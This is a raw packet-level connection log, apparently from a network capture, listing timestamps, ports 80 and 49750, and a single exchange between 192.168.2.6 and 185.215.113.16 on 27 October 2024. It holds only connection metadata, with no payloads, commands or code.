Oct 27, 2024 07:59:19.386310101 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.386326075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.386348009 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.386365891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.386380911 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.386396885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.386404991 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.386415958 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.386431932 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.386579037 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.386579037 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.387168884 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.437166929 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.500242949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.500260115 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.500274897 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.500327110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.500390053 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.500390053 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.500408888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.500500917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.500516891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.500534058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.500550032 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.500597000 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.500607967 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.500926018 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.500941038 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.500957012 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.501106977 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.501106977 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.501238108 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.501254082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.501354933 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.501355886 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.501470089 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.501485109 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.501501083 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.501524925 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.501539946 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.501557112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.501570940 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.501616955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.501617908 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.501631021 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.501638889 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.502310991 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.502326965 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.502414942 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.615401030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.615415096 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.615427971 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.615624905 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.615647078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.615688086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.615700006 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.615710974 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.615880013 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.615880013 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.615886927 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.615900040 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.615942955 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.616000891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616045952 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616060019 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616075039 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616086960 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616102934 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.616208076 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.616316080 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.616516113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616527081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616569996 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.616625071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616687059 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616700888 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616736889 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616748095 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616759062 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616767883 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.616769075 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.616789103 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.616827011 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616841078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616851091 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.616889000 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.617532015 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.617543936 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.617594957 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.671437025 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.730776072 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.730794907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.730808020 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.730832100 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.731079102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731120110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731134892 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731167078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731175900 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.731180906 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731195927 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731210947 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731232882 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.731234074 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731251955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731265068 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731291056 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.731291056 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.731764078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731776953 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731789112 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731812000 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731825113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731837034 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731848955 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731872082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731872082 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.731872082 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.731872082 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.731887102 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731900930 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.731935024 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.731935024 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.774326086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.774357080 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.774368048 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.774378061 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.774444103 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.774444103 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.846606016 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.846621990 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.846637011 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.846741915 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.846766949 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.846930027 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.846944094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.846956015 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847021103 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.847022057 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.847078085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847126007 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.847251892 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847264051 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847275019 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847285986 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847337961 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.847337961 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.847714901 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847732067 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847742081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847752094 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847763062 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847774982 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847862959 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.847862959 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.847872972 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.847886086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.847903967 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.848035097 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.848054886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.848157883 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.848169088 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.848489046 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.848510981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.848587036 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.889986992 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.890008926 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.890022039 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.890081882 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.961232901 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.961255074 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.961272001 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.961405993 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.961441040 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.961460114 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.961510897 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.961530924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.961541891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.961554050 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.961564064 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.961584091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.961761951 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.961882114 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.961893082 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.961898088 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962014914 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.962344885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962356091 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962367058 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962387085 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962399006 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962567091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.962567091 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.962599039 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962610006 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962620974 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962630033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962775946 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.962775946 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.962902069 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962980032 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.962990999 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.963037014 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.963037014 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.963047981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.963052988 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.963059902 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.963072062 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:19.963308096 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:19.963308096 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.004961014 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.004980087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.005003929 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.005040884 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.046520948 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.076523066 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.076538086 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.076549053 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.076590061 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.076771021 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.076782942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.076793909 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.076844931 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.076844931 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.076852083 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.076868057 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.076879025 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.076968908 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.077131033 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077143908 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077155113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077191114 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.077235937 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.077538013 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077548981 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077588081 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077615023 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077626944 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077646017 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.077688932 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.077822924 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077841043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077883959 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.077927113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077971935 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.077992916 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.078005075 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.078017950 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.078039885 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.078056097 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.078066111 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.078361034 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.078393936 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.078407049 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.078449011 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.078459978 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.078474045 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.078536987 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.120088100 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.120165110 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.120174885 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.120187998 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.120198011 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.120217085 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.120254040 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.120254040 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.191871881 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.191884995 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.191896915 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192014933 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.192084074 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192128897 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192143917 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192156076 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192174911 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.192193031 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.192251921 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192261934 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192365885 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.192377090 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192390919 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192403078 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192419052 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.192461967 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.192723036 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192734957 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192814112 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.192821026 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192835093 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192845106 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.192994118 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.192995071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193006992 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193093061 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.193129063 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193142891 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193152905 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193161964 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193195105 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.193195105 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.193435907 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193445921 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193543911 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.193563938 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193586111 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193595886 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193605900 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193615913 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.193635941 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.193685055 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.235340118 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.235352039 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.235371113 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.235387087 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.235394001 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.235399008 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.235410929 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.235440969 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.235474110 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.307014942 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307069063 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307080030 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307090044 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307159901 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.307193041 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.307219028 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307254076 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307265043 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307320118 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.307348013 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307358980 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307398081 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.307435036 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307496071 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307636023 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.307889938 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307909966 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.307946920 CET	49750	80	192.168.2.6	185.215.113.16
Oct 27, 2024 07:59:20.308027029 CET	80	49750	185.215.113.16	192.168.2.6
Oct 27, 2024 07:59:20.308038950 CET	80	49750	185.215.113.16	192.168.2.6
